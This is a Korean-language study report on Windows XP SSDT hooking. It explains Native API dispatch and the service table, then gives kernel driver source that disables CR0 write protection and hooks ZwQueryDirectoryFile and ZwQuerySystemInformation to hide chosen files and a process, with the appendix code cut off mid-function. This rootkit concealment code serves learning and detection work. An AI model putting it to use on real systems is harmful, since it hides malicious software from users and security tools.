<B1E2BCFAB9AEBCAD28C0CCB5BFBCF6295F F6F6B696E672E687770>

Size: px
Start display at page:

Download "<B1E2BCFAB9AEBCAD28C0CCB5BFBCF6295F F6F6B696E672E687770>"

Transcription

1 SSDT HOOKING을이용한프로세스와파일숨기기 이동수

2 개 요 기존에만들었던메시지후킹프로그램을숨겨보고싶어서 SSDT후킹을공부하였다. 그리고그결과를정리하여이문서를작성하였다. 프로세스를숨기고파일을숨기기위해서 Native API를후킹했다. 메시지후킹과다르게 SSDT후킹은커널모드에서후킹을해야하므로디바이스드라이버로프로그램이작성되어있다. 실행시킨함수가커널로어떻게들어가고작동하는지배우는좋은기회가되었다. 이문서에사용된 OS는 Windows XP Professional SP2이고, 드라이버는 Windows Server 2003 SP1 DDK 을이용하여작성하였다.

3 Content 1. 목적 1 2. WINDOWS SYSTEM WINDOWS ARCHITECTURE Native API System Service Descriptor Table 5 3. What is the Automata RING 디바이스드라이버 SSDT Hooking 실험및결과 결론 29 참고문헌 30 첨부 31

4 1. 목적 이번기술문서의주제는 SSDT Hooking 이다. 기존에공부하여만들어보았던 Message Hooking 프로그램은응용프로그램으로생성되진않았지만작업관리자로확인이가능했고, 만들어진파일도쉽게확인이가능하였다. 그래서쉽게확인이가능한프로세스와파일을 Native API를 Hooking하여유저모드에서는확인이힘들도록만들어보고싶었다. 그러기위해서는 Native API의목록을관리하는 SSDT를 Hooking해야된다. 이문서에서는프로세스목록을검색하는 ZwQuerySystemInformation함수와 ZwQueryDirectoryFile함수를 Hooking 할것이다

5 2. WINDOWS SYSTEM SSDT는커널에존재하는 Native API를관리하는테이블이다. SSDT Hooking에들어가기전에 WINDOWS의구조를살펴보고가자 WINDOWS ARCHITECTURE [ 그림 1] 은 'Microsoft Windows Internals' 에서발췌한간단한 Windows Architecture 이다. [ 그림 1] 단순화시킨 Windows Architecture [ 그림 1] 에서보는것같이 Windows는유저모드와커널모드로나누어져있다. 유저모드에서실행되는모든프로세스는최종적으로커널모드로내려와서실행이되는구조이다. 이것은유저모드의프로세스는직접적으로하드웨어장치 (I/O, 메모리등 ) 에접근할수없다는것을보여준다. 그래서유저모드의프로세스는 Subsystem DLL을호출하여커널모드로접근하게된다. 커널에서작동하는프로세스는직접적으로하드웨어장치에접근이가능하다. 대표적인예로는디바이스드라이버가있다. 이문서에서도디바이스드라이버를작성하여 SSDT Hooking을하였다. 커널모드의구성요소를살펴보고넘어가자. Executive - 메모리관리, 프로세스그리고스레드관리, 보안, I/O, 네트워킹, IPC같은기본운영체제서비스들을포함한다. Kernel - 스레드스케줄링, 인터럽트, 멀티프로세서동기화등과같은저수준운영체제함수들로구성된다. Device Driver - I/O요청을처리하는하드웨어장치드라이버와파일시스템, 네트워크드라이버들을포함한다. HAL - 커널, 장치드라이버그리고플랫폼지향적하드웨어의차이로부터장치드라이버들뿐만아니라파일시스템과네트워크드라이버들을포함한다

6 Windowing and graphics - GUI 함수들을구현한다 Native API 유저모드의프로세스는하드웨어장치에접근하기위해서는커널모드로넘어가야한다. 유저모드에서많이사용되는 Win32 API에는커널모드로넘어가는루틴이포함되어있다. 커널모드로넘어갔다면커널모드에서작동하는함수들을호출하여메모리에접근하거나 I/O장치에접근하는서비스들을수행한다. 이때, 커널모드에서작동하는함수들을 Native API라고부른다. 그리고 Windows는유저모드에서작동하는코드에서커널모드에서작동하는코드로바로넘어가는것을금지하고있다. 예를통해좀더구체적으로알아보자. Win32 API중에서파일을검색해주는 FindNext 함수가존재한다. 이함수가어떻게동작하는지를통해유저모드의함수즉, Win32 API가커널모드의함수를어떻게호출하는지확인해보자. 아래그림들은 OllyDbg를사용해유저모드의프로그램을디버깅한것이다. [ 그림 2] FindNextFileA 함수진입점 [ 그림 3] FindNextFileW 함수진입점 [ 그림 2] 와 [ 그림 3] 은 FindNextFileA 함수와 FindNexFileW 함수의진입점을보여주고있다. 이함수들의차이점은인자값이다. FindNextFileA 함수는 ANSI 기반의문자열을사용한다. 하지만, FindNextFileW 함수는유니코드를사용한다. 일반적으로유저모드에서사용하는 Win32 API는 ANSI를사용하지만커널모드의 Native API는유니코드를사용한다. [ 그림 2] 와 [ 그림 3] 에서볼수있듯이 FindNextFileA 함수는 ANSI를유니코드로바꾼후 FindNextFileW 함수를호출한다. 더따라들어가보자. [ 그림 4] ZwQueryDirectoryFile 함수진입점 - 3 -

7 코드를따라가면 [ 그림 4] 와같이 ntdll.dll이포함하고있는 ZwQueryDirectoryFile 함수를호출하고있는것을확인할수있다. 이함수가바로 Native API이다. 아래에서확인하겠지만 Native API 함수는보통 Zw" 로시작하는함수와 Nt" 로시작하는함수들이다. 이두함수의차이점은 Nt 시작되는 Native API를확인할때알아보겠다. 코드를더따라가보자 [ 그림 5] KiFastSystemCall 함수진입점 [ 그림 6] 커널모드진입점 코드를따라가보면 [ 그림 5] 와같이 KiFastSystemCall을호출하는것을볼수있다. 더따라가보면 [ 그림 6] 에서확인할수있듯이 "sysenter" 라는명령어가보인다. 이명령어가바로유저모드에서커널모드로넘어가는지점이다. Windows XP 이전버전의운영체제에서는 INT 2E 라는명령어를사용하였으나성능상의이유로 "sysenter" 를사용하고있다. OllyDbg는유저모드디버거라 [ 그림 6] 에서더따라가면바로 return루틴으로가버린다. 그래서이후디버깅은 Microsoft사에서무료로배포하고있는 WinDbg를이용하였다. 위에서 Native API는 Zw 나 Nt 로시작한다고했었다. 이둘의차이점은무엇일까? [ 그림 5] 를보면 ZwQueryDirectoryFile 함수는 KiFastSystemCall 함수를호출하고리턴해버린다. 즉, ZwQueryDirectoryFile 함수는실제적으로서비스를처리하는루틴을가지고있지않다. NtQueryDirectoryFile 함수가실제적으로서비스를처리하는루틴을가지고있다. 정리해보면 ZwQueryDirectoryFile 함수가 KiFastSystemCall 함수를서비스번호를인자로주고호출하면 KiFastSystemCall 함수는 "System Service Dispatch Table" 를참조하여 NtQueryDirectoryFile 함수를호출하는것이다. 즉, Zw 로시작하는 Native API는서비스를처리하는함수를가지고있는게아니라단지 Nt 로시작하는함수를가리키고있는것이다. WinDbg에서 u nt!ntquerydirerctoryfile" 을입력하여확인해보자

8 [ 그림 7] NtQueryDirectoryFile 함수 [ 그림 8] 은위에서살펴본내용들을간단하게요약한그림이다. [ 그림 8] Native API 호출과정 2.3. System Service Descriptor Table 시스템서비스디스패처인 KiSystemService는인자로받은시스템서비스인덱스번호를가지고 System Service Descriptor Table을참조하여해당인덱스의서비스를호출하여실행시킨다. System Service Descriptor Table( 이하 SSDT) 은해당서비스함수의시작주소를가지고있는 Table이다. KiSystemService가참조하는테이블들을알아보자. 먼저 System Service Table을살펴보자. typedef struct ServiceDescriptorTable SDE ServiceDescriptor[4]; - 5 -

9 SDT; 각스레드는최대 4개까지 ServiceDescriptor를가질수있다. SDE 구조체를살펴보자. typedef struct ServiceDescriptorEntry PDWORD KiServiceTable; PDWORD CounterTableBase; DWORD ServiceLimit; PBYTE ArgumentTable; SDE; SDE 구조체는위와같은구조를가진다. 각인자를살펴보자. 먼저 KiServiceTable" 은우리가 Hooking할 SSDT를가르키고있는포인터이다. 두번째인자는항상 0으로셋팅되어있는데무슨용도로쓰이는지는모르겠다. SSDT Hooking에필요한건아니기때문에그냥넘어갔다. 세번째인자는 SSDT에포함된 Native API의개수를나타내고있다. 네번째인자는서비스함수를호출할때사용되는인자의크기를가지고있는테이블의주소이다. WinDbg를이용하여따라가보자. [ 그림 9] 는 WinDbg를통해알아본 SDE를보여주고있다. [ 그림 9] ServiceDescriptorTable [ 그림 9] 에서볼수있듯이 SSDT의주소는 0x804e4d20이다. 그리고세번째인자를통해서 SSDT에포함되어있는 Native API의개수가 284인것을확인할수있다. [ 그림 9] 에서확인한 SSDT의주소를따라가보자 [ 그림 10] 은 WinDbg를통해확인한 SSDT이다

10 [ 그림 10] System Service Descriptor Table [ 그림 10] 에서확인할수있듯이 SSDT는 Native API의시작루틴주소를가지고있었다. 앞에서예로들었던 NtQueryDirectoryFile 함수를찾아보자. 앞에서도언급했듯이 "Zw" 로시작하는 Native API는시스템서비스인덱스넘버를인자로주고 KiSystemService(OllDbg로디버깅할경우 KiFastSystemCall을호출하는데 WinDbg를통해디버깅을해보면 KiSystemService 를호출하는것을확인할수있다. 결과가다른이유는서로참조하는심볼이다르기때문인듯싶다.) 를호출하면, 이함수는 SSDT에서인자로넘어온인덱스에있는함수를호출한다. NtQueryDirectoryFile 함수를찾기위해서는 ZwQueryDirectoryFile 함수에서인자로넘기는인덱스넘버를확인해보면된다. [ 그림 11] 은 WinDbg를통해살펴본ZwQueryDirectoryFile 함수의루틴을보여주고있다. [ 그림 11] 시스템서비스인덱스번호 [ 그림 11] 에서확인할수있듯이 ZwQueryDirectoryFile 함수는인덱스번호로 0x91을넘겨준다. SSDT의 0x91번째테이블에 NtQueryDirectoryFile 함수의시작루틴주소가있다는말이다. SSDT의시작주소는 0x804e4d20이고, 한공간마다 4바이트씩차지하므로 0x804e4d20+(0x91*4) 에 NtQueryDirectoryFile의시작루틴주소가저장되어있다. WinDbg를통해직접확인해보자

11 [ 그림 12] NtQueryDirectoryFile 함수 [ 그림 12] 에서확인할수있듯이 ZwQueryDirectoryFile 함수가넘겨준인자가가리키는 SSDT 의주소는 NtQueryDirectoryFile 함수였다. [ 그림 13] 은 Native API가실행되기까지의모습을간략하게보여주고있다. [ 그림 13] 커널모드에서 Native API 호출과정 - 8 -

12 3. SSDT Hooking 앞에서 SSDT Hooking에관련된윈도우구조를살펴보았다. 이제본격적으로프로세스와파일을숨기기위한 SSDT Hooking을시작해보자. [ 그림 14] 는 SSDT Hooking의개요를간단하게보여주고있다. [ 그림 14] SSDT Hooing 개요 (Inside Windows Rootkits 발췌 ) [ 그림 14] 에서확인할수있듯이 SSDT Hooking은원하는 Native API의주소를가지고있는 SSDT 공간을내가원하는주소공간으로바꾸어놓는것이다. SSDT는커널모드에서접근이가능한메모리공간에위치한다. 따라서일반유저모드의어플리케이션으로는접근자체가불가능하다. SSDT에접근하기위해서는디바이스드라이버를이용해야한다. SSDT Hooking에들어가기전에디바이스드라이버에대한지식을간단하게정리하고넘어가자. SSDT Hooking에필요한내용만집고넘어가기때문에자세한정보는전문서적을참고하기바란다 RING 디바이스드라이버에들어가기전에 Ring 에대해서알아보고넘어가자. Windows에서 RING은권한을나타낸다. 앞에서말했던커널모드는 Ring0, 유저모드는 Ring3이다. [ 그림 15] 는 x86에서지원하는 Ring 모델의구조를보여준다

13 [ 그림 15] Windows 의 Ring 구조 [ 그림 15] 에서볼수있듯이 Ring0의권한이가장높고 Ring3의권한이가장낮다. 그리고권한이낮은 Ring은권한이높은 Ring의메모리에접근자체가불가능하다. 참고로 Windows는 Ring0과 Ring3만을사용한다. 디바이스드라이버는유저모드의어플리케이션이커널모드로들어가기위해서걸쳐야했던과정을거치지않고직접적으로커널모드에접근이가능하다. 다음챕터에서디바이스드라이버에대해간단히알아보고본격적으로 SSDT Hooking에들어가보자 디바이스드라이버 Windows에서는 WDM(Windows Driver Model) 이라는모델을제시하여디바이스드라이버를쉽게설계하도록하고있다. 디바이스드라이버는아래와같이 4 개의기본골격으로구성된다. DirverEntry Routine - C언어에서 Main() 과같은디바이스드라이버의시작점이다. 이루틴은디바이스드라이버가로드될때한번만실행된다. AddDeviceRoutine - 새로운디바이스를추가하고자할때사용되는부분이다. IRP Dispatch Routine - 디바이스와 I/O Manager 사이에서명령을전달하는역할을하는구조체이며그실체는하나의버퍼에불과하다. 유저모드의프로그램은파일입출력을할때 IRP를이용한다. DriverUnload Routine - 드라이버를언로드할때수행되는부분이다

14 디바이스드라이버는컴파일할때특별한 2개의파일이필요하다. Sources 파일과 Makefile 이다. 아래소스는 Sources 파일의기본구조를보여준다. TARGETNAME = "DRIVER NAME" // 컴파일된후의파일명 TARGETPATH = "DIRECTORY NAME" // 컴파일될장소 TARGETTYPE = "DRIVER TYPE" // 디바이스드라이버타입 # 부가적인요소 TARGETLIBS = "PATH" // 필요한라이브러리파일경로 # 없어도무관함 SOURCES = "FILE NAME" // 컴파일할파일명 위소스중 TARGETLIBS를제외하고는필수적으로작성해야한다. 아래소스는 Makefile을보여주고있다.!INCLUDE $(NTMAKEENV) makefile.def C언어를처음공부할때작성하는 Hello World" 를출력하는간단한디바이스드라이버를작성하여보겠다. 아래와같이소스를작성하여보자. #include "ntddk.h" VOID OnUnload(IN PDRIVER_OBJECT DriverObject) DbgPrint("Unload Success!! n"); NTSTATUS DriverEntry(IN PDRIVER_OBJECT thedriverobject, IN PUNICODE_STRING theregistrypath) DbgPrint("Hello World! n"); thedriverobject->driverunload = OnUnload; return STATUS_SUCCESS; 위소스에대해간단한설명을하고넘어가겠다. DbgPrint 함수는디버깅메시지로원하는문자열을출력시켜준다. 유저모드에서는볼수없으며커널디버깅중이나특별한프로그램을

15 이용하여확인할수있다. thedriverobject->driverunload" 는드라이버가언로드될때실행될루틴을지정하는부분이다. 이드라이버는간단하게로드될때 "Hello World! 라는문자열을출력하고언로드될때 Unload Success!!" 라는문자열을출력할것이다. 디바이스드라이버는유저모드의어플리케이션처럼실행이가능한프로그램이아니다. 로드하는툴을이용하여로드하여야실행이가능하다. 이문서에서 Rootkit.com의 InstDrv와디버깅메시지를확인할수있는 sysinternals의 Debugview를사용하였다. [ 그림 16] 은드라이버가로드되고언로드될때출력하는메시지를보여준다. [ 그림 16] 드라이버실행 디바이스드라이버의영역은엄청넓다. SSDT Hooking을할때, 필요한디바이스드라이버지식은이정도면충분하므로본격적으로 SSDT Hooking의세계로들어가보자 SSDT Hooking 앞에서 SSDT Hooking의간단한개요를살펴보았다. 간단하게말하면디바이스드라이버를작성하여 SSDT의 Hooking 하고자하는함수의주소를가지고있는테이블의값을내가원하는주소로바꿔치기하면된다. 하지만여기에서한가지문제가생긴다. SSDT는속성이 Read Only이기때문에값을바꾸면블루스크린을띄워버린다. 이는 Windows가메모리를보호하기위해 Write Protection이라는기법을이용하여메모리의쓰기권한을삭제하였기때문이다. SSDT Hooking을하기위해서는이 Write Protection( 이하 WP) 기법을무력화시켜야한다. 무력화시키는방법은 CR0 레지스터를이용하는방법과 MDL(Memory Descriptor List) 를이용하는방법등이있다. 이문서에서는 CR0를이용한방법을소개할것이다. CR(Control Register) 는현재수행중인태스크의특성과프로세스의동작모드를결정하는특별한레지스터이다. [ 그림 17] 은 somma님의블로그에서발췌한 CR의구조이다

16 [ 그림 17] CR 필드값 5개의 CR이존재한다. 우리에게필요한부분은 CR0이다. CR0의필드을보면 WP라는부분이보인다. 이부분은앞에서말했던 WP를설정하는필드이다. 이필드값이 0이면 Write Protect 를무력화시킬수있다. [ 그림 18] 에나와있는소스를이용하면쉽게 WP 를무력화시킬수있다. [ 그림 18] WP 무력화코드

17 이로써 SSDT 를 Hooking 할준비는모두갖추어졌다. 이문서의목표인프로세스와파일을숨겨보자. Windows는파일을검색하기위해 NtQueryDirectoryFile 함수를이용하며, 프로세스정보를얻기위해서는 NtQuerySystemInformation 함수를이용한다. 그럼이 Native API의주소를가지고있는 SSDT안에서의인덱스를확인해보자. 앞에서살펴보았듯이 "Zw" 로시작하는 Native API는시스템서비스인덱스넘버를인자로넘겨준다. ZwQueryDirectoryFile 함수와 ZwQuerySystemInformation 함수를통해시스템서비스인덱스넘버를확인해보자. [ 그림 19] 와 [ 그림 20] 은 WinDbg를통해확인한두함수의시스템서비스인덱스넘버를보여준다. [ 그림 19] NtQueryDirectoryFile 인덱스 [ 그림 20] NtQuerySystemInformation 인덱스 [ 그림 19] 와 [ 그림 20] 에서확인할수있듯이 NtQueryDirectoryFile 함수의인덱스는 0x91이고, NtQuerySystemInformtion 함수의인덱스는 0xAD이다. SSDT의 0x91번째와 0xAD번째에저장된주소가두 Native API인지확인하여보자. [ 그림 21] NtQueryDirectoryFile 함수

18 [ 그림 22] NtQuerySystemInformation [ 그림 21] 과 [ 그림 22] 에서확인할수있듯이 [ 그림 19] 과 [ 그림 20] 에서확인한인덱스넘버는정확하다. 즉, "Zw" 로시작하는 Native API의시작루틴에서 1byte를건너면실제서비스루틴의주소가저장되어있는 SSDT의인덱스넘버이다. SSDT Hooking을하기위해서는 Hooking 하고자하는 Native API의인덱스넘버를알아야하므로저숫자는상당히중요하다. Hooking 하고자하는 Native 함수의주소를담고있는 SSDT의주소는 [ 그림 23] 에서보여주는매크로를통해쉽게구할수있다. [ 그림 23] SSDT 의주소를구하는매크로 Syscall_Index는인자로넘어오는함수의시작주소에 1byte 떨어진곳의메모리값을리턴한다. 즉, 시스템서비스인덱스넘버를리턴한다. Syscall_Index는해당서비스의 Syscall_Ptr은인자로넘어오는함수를인자로 Syscall_Index를호출한후리턴된값 ( 인덱스넘버 ) 에해당하는 SSDT의주소를반환한다. Hooking 하고자하는위치의주소도구했으니이메모리의값을내가원하는주소로바꾸어보자. InterlocdedExchange 함수를이용하면쉽게메모리값을바꿀수있다. InterlockedExchange 함수는두개의인자값이일치하지않을경우첫번째인자가지정하는메모리의값을두번째인자로바꾼다. [ 그림 24] 는내가테스트할때사용하였던소스에서발췌하였다

19 [ 그림 24] ZwQueryDirectFile과 ZwQuerySystemInformation Hooking [ 그림 24] 와같이쉽게주소값을바꿔칠수가있다. 주소값을바꿨으면 Hooking에성공한거나다름없다. 이제프로세스와파일을숨기기위한새로운함수를작성하여보자. [ 그림 25] 와아래소스는파일을감추기위한 FileInformation 구조체와 Hooking 함수인 NewZwQueryDirectoryFIle 함수는보여주고있다. [ 그림 25] FileInformation 구조체 // 새로운 ZwQueryDirectoryFile NTSTATUS NewZwQueryDirectoryFile( IN HANDLE filehandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName OPTIONAL, IN BOOLEAN RestartScan)

20 NTSTATUS ntstatus; //NtQueryDirectoryFile 함수호출 ntstatus = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) ( filehandle, Event, ApcRoutine, ApcContext, IoStatusBlock, FileInformation, Length, FileInformationClass, ReturnSingleEntry, FileName, RestartScan); if( NT_SUCCESS(ntStatus)) //FileInformation 구조체 struct _FILE_INFORMATION *curr = (struct _FILE_INFORMATION *)FileInformation; struct _FILE_INFORMATION *prev = NULL; DbgPrint(" n"); while(curr) if (curr->filename!= NULL) // 파일명이 "Hook" 으로시작하거나 "TestFile.txt" 인경우 if((0 == memcmp(curr->filename, L"Hook", 8)) (0 == memcmp(curr->filename, L"TestFile.txt", 24))) // 전 FileInformation이존재하는경우 if(prev) // 전 FileInformation의 NetxtEntryOffset에 // 다음 FileInformation의위치를저장한다. if(curr->nextentryoffset) prev->nextentryoffset += curr->nextentryoffset; // 마지막프로세서일경우 else prev->nextentryoffset = 0; // 전 FileInformation이존재하지않는경우 else // 다음 FileInformation이존재하는경우 if(curr->nextentryoffset) // 다음 FileInformation을맨앞의 FileInformation으로만든다. (char *)FileInformation += curr->nextentryoffset;

21 // 마지막프로세서일경우 else FileInformation = NULL; // 현재 FileInformation을저장 prev = curr; // 다음 FileInformation으로넘어감 if(curr->nextentryoffset ) ((char *)curr += curr->nextentryoffset); else curr = NULL; return ntstatus; [ 그림 25] 는 MSDN에서발췌한구조체이다. 이구조체는파일을검색할때사용되는 Native API인 NtQueryDirectoryFile 함수가검색한파일의정보를저장하는데사용한다. 위소스에대해간단히설명하고넘어가자. NtQueryDirectoryFile 함수가리턴한 FileInformation 구조체에는다음파일의 FileInformation의 offset을가지고있다. 그래서디렉토리내의파일을검색할때는 NtQueryDirectoryFile 함수가한번호출되고, offset 값을이용하여순회한다. 일단 ZwQueryDirectoryFile 함수를이용하는함수시작부분에서실제 NtQueryDirectoryFile 함수를호출하여 FileInformation 구조체값을받아온다. 그후에다음 FileInformation이존재하지않을때까지순환하여숨기고자하는파일이름이존재하는지체크한다. 만일존재하면이전 FileInformation의 offset값을현재의 FileInformation이아닌다음 FileInformation을가리키도록설정한다. 이과정을거친후서비스를요청한유저모드의어플리케이션에게구조체가넘어가면 [ 그림 26] 과같이유저모드의어플리케이션은첫번째 FileInformation 구조체에서두번째구조체가아닌세번째구조체로순환하게된다. 즉, 유저모드에서는저파일이존재하는지확인할수가없다

22 [ 그림 26] FileInformation 순환 함수가 Hooking 되면 [ 그림 26] 에서보는것같이정상적인루틴이아닌인의적으로루틴을바꿀수있다. 파일을숨기기위한 Hooking 함수는만들었으니이제프로세스를숨기기위한함수를작성하여보자. [ 그림 27] 은 NtQuerySystemInformation 함수가사용하는 SystemInformation 구조체를보여준다

23 [ 그림 27] SystemInformation 구조체 [ 그림 27] 의 SystemInformation 구조체는프로세스의정보를가지고있다. 앞에서살펴보았던 FileInformation 구조체와마찬가지로 offset 값을가지고있어다음 SystemInformation 구조체를가리키고있다. 아래소스는 ZwQuerySystemInformation 의 Hooking 함수이다. // 새로운 ZwQuerySystemFile NTSTATUS NewZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength) NTSTATUS ntstatus; //NtQuerySystemInfrormation 함수호출 ntstatus =

24 ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) ( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength ); if( NT_SUCCESS(ntStatus)) if(systeminformationclass == 5) struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; struct _SYSTEM_PROCESSES *prev = NULL; while(curr) if (curr->processname.buffer!= NULL) // 프로세스명이 "Hook_go" 인경우 if(0 == memcmp(curr->processname.buffer, L"Hook_go", 14)) // 전 SystemInformation이존재하는경우 if(prev) // 전 SystemInformation의 NetxtEntryDelta에 // 다음 SystemInformation의위치를저장한다. if(curr->nextentrydelta) prev->nextentrydelta += curr->nextentrydelta; // 마지막프로세서일경우 else prev->nextentrydelta = 0; // 전 SystemInformation이존재하지않는경우 else // 다음 SystemInformation을 // 맨앞의 SystemInformation으로만든다. if(curr->nextentrydelta) (char *)SystemInformation +=

25 curr->nextentrydelta; // 마지막프로세서일경우 else SystemInformation = NULL; // 현재 SystemInformation을저장 prev = curr; // 다음 SystemInformation으로넘어감 if(curr->nextentrydelta) ((char *)curr += curr->nextentrydelta); // 다음 SystemInformation이존재하지않는다면 else curr = NULL; return ntstatus; Hooking 함수인 NewZwQuerySystemInformation 함수를간단하게넘어가자. 앞에서설명했던 NewZwQueryDirectoryFile 함수와비슷한루틴을가지고있다. 실제 Native API인 NtQuerySystemInformation 함수를호출하여받은 SystemInformation 구조체를이용하여다음프로세스가존재하지않을때까지순환한다. 그러다자신이숨기고자하는프로세스가나오면이전 SystemInformation 구조체멤버중다음구조체를가리키는변수에현재구조체가아닌다음구조체를나타내도록처리한다. 이과정을거치면유저모드에서받은리턴값은앞에설명했던 FileInformation 구조체와마찬가지로정상적인루틴이아닌인위적인루틴으로순환한다. [ 그림 27] 은위에서말한인위적인루틴을보여준다

26 [ 그림 28] SystemInformation 순환 Hooking함수까지작성하였다. 이제이디바이스드라이버가제대로작동하는지확인하여보자. 참고로이문서에서작성한소스는 Rootkit : 윈도우커널조작의미학 에나온소스를토대로작성하였다

27 4. 실험및결과 우선기존에작성했던 Message Hooking 프로그램인 Hook_go" 를실행시켜보자. [ 그림 29] Message Hooking 프로그램 잘동작하는지확인해보자

28 [ 그림 30] Message Hooking [ 그림 30] 에서확인할수있듯이잘동작하고있다. 그럼이제앞에서작성한디바이스드라이버를로드하여프로세스와 Message Hooking 프로그램이담겨져있는디렉토리와 "TestFile" 을숨겨보자. [ 그림 31] 은디바이스드라이버를로딩하는것을보여준다. [ 그림 31] 디바이스드라이버로드 [ 그림 32] 는디바이스드라이버로드후결과를보여준다

29 [ 그림 32] 프로세스검색결과 [ 그림 32] 에서확인할수있듯이 Hook_go 라는프로세서가보이지않는것을확인할수있다. 파일도숨겨졌는지확인하여보자. [ 그림 33] 파일목록검색결과

30 [ 그림 33] 을보면 [ 그림 30] 과다르게 Hook_go라는디렉토리와 TestFile이라는파일이보이지않는것을확인할수있었다. 작성한디바이스드라이버가잘작동하는것을확인할수있었다. 그럼로드후 SSDT에무슨일이일어났는지 WinDbg를이용해확인하여보자. [ 그림 19] 와 [ 그림 20] 에서확인했었듯이 ZwQueryDirectoryFile 함수의서비스넘버는 0x91이고, ZwQuerySystemInformation 함수의서비스넘버는 0xAD이다. 그럼 WinDbg를이용해 SSDT의 0x91 번째와 0xAD 번째의테이블값을확인하여보자. [ 그림 34] 와 [ 그림 35] 를통해 SSDT에무슨일이일어났는지확인할수있다. [ 그림 34] SSDT 의 0x91 번째테이블값 [ 그림 34] 에서볼수있듯이 NtQueryDirectoryFile 함수의시작루틴을가리켜야할값이이상한곳을가리키고있다. 테이블값을따라가보면작성한디바이스드라이버의한부분을가리키는것을확인할수있다. [ 그림 35] SSDT 의 0xAD 번째테이블값 [ 그림 35] 에서확인할수있는내용도 [ 그림 34] 와마찬가지로 NtQuerySystemInformation의시작루틴을가리켜야할값이이상한값으로바뀌어져있

31 고, 이값은작성된디바이스드라이버의한부분을가리키고있다. 성공적으로 SSDT 의테이블값을바꾸어원하는곳의함수를호출시켰다

32 5. 결론 유저모드에서는접근조차불가능한영역을마음대로컨트롤할수있는사실이무척이나새로웠다. SSDT Hooking을공부하면 Windows의새로운영역을확인할수있어서좋았다. 확실히커널모드에서후킹이되면유저모드에서는확인자체가불가능하다. 물론현재출시된백신들은대부분의커널 Hooking 프로그램을탐지한다. 앞으로다양한커널 hooking 공부를해서다양한루트킷을접해보고예방방법에대해서도공부해야겠다

33 참고문헌 [1] 김상형, " 윈도우즈 API 정복 1", 한빛미디어 ( 주 ), June 2006 [2] Mark E. Russinovich ㆍ David A. Solomon, "WIDOWS INTERNALS 4th", 정보문화사, January 2006 [3] Greg Hoglund ㆍ Jamie Butler, " 루트킷 : 윈도우커널조작의미학 ", 에이콘, July 2008 [4] somma, "somma.egloos.com" [5] Jerald Lee, "SSDT Hooking", January

34 첨부 SSDT Hooking 을공부하면서작성한소스이다. #include "ntddk.h" #pragma pack(1) //SDE 구조체선언 typedef struct ServiceDescriptorEntry unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char *ParamTableBase; ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack() //SSDT 임포트 declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; //SSDT 주소를리던하는매크로 #define Syscall_Index(_Func) *(PULONG) ((PUCHAR)_Func+1) #define Syscall_Ptr(_Org_Func) &(((PLONG)KeServiceDescriptorTable.ServiceTableBase)[Syscall_Index(_Org_Func)]) //WP 무력화를위한 bit mask #define SetCr_Mask 0x0FFFEFFFF //FileInfromation 구조체선언 struct _FILE_INFORMATION ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; CCHAR ShortNameLength; WCHAR ShortName[12]; WCHAR FileName[1]; ; //SystemInformation 구조체선언 struct _SYSTEM_THREADS LARGE_INTEGER KernelTime;

35 ; LARGE_INTEGER LARGE_INTEGER ULONG PVOID CLIENT_ID KPRIORITY KPRIORITY ULONG ULONG KWAIT_REASON UserTime; CreateTime; WaitTime; StartAddress; ClientIs; Priority; BasePriority; ContextSwitchCount; ThreadState; WaitReason; //SystemInformation 구조체선언 struct _SYSTEM_PROCESSES ULONG ULONG ULONG LARGE_INTEGER LARGE_INTEGER LARGE_INTEGER UNICODE_STRING KPRIORITY ULONG ULONG ULONG ULONG VM_COUNTERS IO_COUNTERS struct _SYSTEM_THREADS ; NextEntryDelta; ThreadCount; Reserved[6]; CreateTime; UserTime; KernelTime; ProcessName; BasePriority; ProcessId; InheritedFromProcessId; HandleCount; Reserved2[2]; VmCounters; IoCounters; //windows 2000 only Threads[1]; NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile( IN HANDLE filehandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass,

36 ); IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName OPTIONAL, IN BOOLEAN RestartScan typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)( ULONG SystemInformationCLass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)( IN HANDLE filehandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName OPTIONAL, IN BOOLEAN RestartScan ); // 기존의함수주소저장을위한변수 ZWQUERYSYSTEMINFORMATION ZWQUERYDIRECTORYFILE OldZwQuerySystemInformation; OldZwQueryDirectoryFile; //CR0의 WP를제거 VOID ClearCr_WP(VOID) asm push mov and mov pop 